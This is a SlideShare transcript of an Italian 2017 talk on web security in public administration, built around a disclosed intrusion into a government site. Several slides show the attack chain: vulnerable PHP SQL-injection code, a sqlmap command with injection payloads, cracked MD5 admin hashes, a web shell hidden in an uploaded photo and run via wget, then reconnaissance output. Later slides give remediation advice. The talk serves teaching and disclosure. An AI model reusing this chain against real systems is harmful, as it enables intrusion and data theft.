Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

(in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

1,137 views

Published on

(in)Sicurezza nella PA: la storia di uno dei tanti problemi di sicurezza che abbiamo scoperto e segnalato, esempi pratici di vulnerabilità in applicativi web e cosa ci riserva il futuro. Lo sviluppo sicuro delle applicazioni web spiegato ai fornitori di tecnologia della Pubblica Amministrazione.

Published in: Software
  • Hello! Get Your Professional Job-Winning Resume Here - Check our website! https://vk.cc/818RFv
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

(in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

  1. 1. (in)Sicurezza
 nella PA Il Piano Triennale: verso il sistema operativo del paese 
 Roma, 05/07/2017 
 Gianluca Varisco
  2. 2. • La storia di uno dei tanti problemi di sicurezza scoperti e segnalati • Esempi pratici di vulnerabilità in applicativi web • Cosa ci riserva il futuro — Agenda
  3. 3. La storia di uno dei tanti problemi di sicurezza scoperti e segnalati
  4. 4. SQLi (SQL injection) È una tecnica di code injection molto comune con la quale vengono inserite delle stringhe di codice SQL malevole all’interno dei campi di input, es. form web Due metodologie di difesa: • Approccio blacklist: ho una lista di caratteri non permessi. • Approccio whitelist: ho una lista di caratteri permessi.
  5. 5. SQLi (SQL injection)
 Esempio di SQLi:
 $username=$_POST[‘username']; $password=$_POST['password']; $query="select username,password from users where username='$username' and password='$password' limit 1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo “Log-in OK" ; create_session(); }
 …
  6. 6. SQLi (SQL injection) Source: XKCD
  7. 7. Typo3 e raccolta informazioni • Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3 • Una sezione del sito consente di gestire i dati del proprio profilo e di caricare alcune informazioni legate alla propria amministrazione (form web) • Abbiamo letto la documentazione ufficiale, che riporta quanto segue:
  8. 8. SQLmap sqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc? id=180" -v 2 -D jupiter —tables Parameter: id (GET)
 Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=180 AND 2280=2280 Vector: AND [INFERENCE] Type: AND/OR time-based blind Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI) Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0, [SLEEPTIME])))))[RANDSTR])
  9. 9. SQLi [16:46:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 6.5 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.12 [16:46:30] [INFO] fetching tables for database: 'jupiter' [16:46:30] [DEBUG] performed 0 queries in 0.01 seconds Database: jupiter [86 tables] +————————————————————+ | be_users | | […] | | fe_users | | […] | +————————————————————+
  10. 10. Hash cracking SELECT * from be_users; 
 typoadmin,772bea9734a585d1a438ac2f7ee42b62, admin00,772bea9734a585d1a438ac2f7ee42b62, adminusr,772bea9734a585d1a438ac2f7ee42b62, 
 “Cracking” (via hashes.org API o interfaccia web):
 {"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" 
 {“plain”:"iniziale","algorithm":"MD5"}}
  11. 11. Una volta ottenute le credenziali utente, accediamo alla sezione “gestione profilo” e provvediamo a caricare la nostra foto profilo. Tale foto, in realtà, contiene al suo interno del codice malevole PHP, con cui potremo eseguire comandi arbitrari sulla macchina target:
 $ wget -nv https://www.ammcentrale.it/jupiter/filetest.php 
 —post-data=“hello=id" -O - | tee -a log.txt (Web) Shell access
  12. 12. Output (id):
 
 Array ( [0] => uid=48(apache) gid=48(apache) groups=48(apache) ) (Web) Shell access
  13. 13. Output (uname -a):
 
 Array ( [0] => Linux web1 2.6.32-573.7.1.el6.x86_64 #1 SMP Tue Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/ Linux ) Local Privilege Escalation
  14. 14. Output (ls): Array ( [1] => -rw-r--r-- 1 root root 9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz [2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz [3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz [4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz [5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz [6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz [7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015 jupiter_aziende_pre_prod20150725.tgz [8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz [9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz [10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www ) Data Exfiltration
  15. 15. Array ( [0] => total 64 [1] => drwxr-xr-x. 2 root root 4096 Jun 30 2015 . [2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 .. [3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key [4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr [5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt [6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key [7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr [8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key [9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt ) Data Exfiltration
  16. 16. Output (ifconfig): Array ( [0] => eth0 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:E4 [1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0 [2] => [.....] [..] [9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE [10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0 [2] => [.....] [...] ) Lateral Movement
  17. 17. Output (arp scan): Array ( [0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0 [1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0 [2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0 [3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1 [4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0 [5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0 [6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0 [….] ) Lateral Movement
  18. 18. Output (nmap): Array ( [0] => [1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01 15:33 CEST [2] => Initiating Ping Scan at 15:33 [3] => Scanning XXX hosts [2 ports/host] Lateral Movement
  19. 19. • Vulnerabilità (SQLi) nell’applicazione web • Utilizzo di MD5 come funzione di hash crittografica • Utilizzo di password deboli • Sistema contenente informazioni sensibili al suo interno (es. backup e chiavi private SSH, anche di altre macchine) • Assenza di segmentazione della rete • Mancato aggiornamento dei sistemi (no patch di sicurezza) e versioni CMS presenti all’interno della rete obsolete Cosa è andato storto?
  20. 20. • Sanitizzazione input • Utilizzo di funzioni di hash più sicure: bcrypt/scrypt • Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables) • Password policy adeguate (NIST Special Publication 800-63B - Digital Identity Guidelines), 2-Factor Authentication • Cifratura backup locali e off-site backup • Logging/Auditing eventi • Aggiornamenti costanti CMS • Segmentazione adeguata della rete che riduca al minimo il movimento laterale su altri sistemi Cosa avrebbero dovuto fare?
  21. 21. Altre situazioni comuni
  22. 22. Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti su internet vulnerabili a CVE-2014-0160 Heartbleed Source: Shodan
  23. 23. Session hijacking: Heartbleed
  24. 24. • Versioni non aggiornate • Plug-in non aggiornati • Fork artigianali (™) non aggiornati • PoC ed exploit (+ metasploit scanner[s]) facilmente reperibili CMS
  25. 25. Password leak
  26. 26. Password leak Source: WpEngine Unmasked
  27. 27. Password policy troppo rigida? Source: WpEngine Unmasked
  28. 28. • Moltissimi, anche tra voi in questa stanza, si affidano sempre alle stesse password. Le usano ovunque. • Utilizzate password manager (1Password, Lastpass, Keepass, etc.) • Utilizzate password univoche per ogni servizio • Abilitate autenticazione a due fattori (2FA) ove disponibile • Mancata rotazione delle password negli applicativi web • Salvataggio delle password all’interno dei database in chiaro o con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.) Problemi legati ai leak di pw
  29. 29. • Tanti dei nostri dati vengono periodicamente esposti in maniera scorretta su internet. • Database NoSQL senza livelli di autenticazione • Backend amministrativi vulnerabili (es. SQLi) o misconfigurati (&& no HTTPS…) • Backend amministrativi PRIVI di autenticazione (o “factory credentials”) • Ambienti di storage (eg. NAS) vulnerabili e non aggiornati • Volumi (Object-Storage) misconfigurati (ACL) all’interno di ambienti cloud pubblici e privati Data leakage
  30. 30. Il futuro (?)
  31. 31. Vettori di attacco: • Malware / Ransomware • Vulnerabilità su dispositivi IoT • Vulnerabilità su ICS/Scada • Targeted Spear Phishing Il futuro (?) Settori maggiormente colpiti:
 • Sanità • Automotive • Impianti Industriali • Infrastrutture critiche
  32. 32. Ransomware (e Wiper)
  33. 33. IoT The “S” 
 in “IoT” stands for Security
  34. 34. ICS/Scada • Sistemi di controllo industriali spesso: • esposti su internet per facilitarne l’accesso da remoto (es. per ricevere assistenza tecnica) • privi di qualsiasi livello di autenticazione e non sviluppati per stare su internet • Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali
  35. 35. Automotive
  36. 36. Piano Triennale
  37. 37. • Capitolo 8: Sicurezza • Misure minime di sicurezza ICT • Infosharing CERT-PA Piano Triennale
  38. 38. • A1 - Injection • A2 - Broken Authentication and Session Management • A3 - Cross-Site Scripting (XSS) • A4 - Broken Access Control • A5 - Security Misconfiguration • A6 - Sensitive Data Exposure • A7 - Insufficient Attack Protection • A8 - Cross-Site Request Forgery (CSRF) • A9 - Using Components with Known Vulnerabilities • A10 - Underprotected APIs — OWASP TOP 10
 2017 (RC1)
  39. 39. Gianluca Varisco • Email: gianluca@teamdigitale.governo.it • Twitter: @gvarisco • Medium: @gvarisco
 Sito Web: https://teamdigitale.governo.it — Contatti
  40. 40. • Pawel Zorzan Urban • Shodan.IO • Censys.IO Credits

×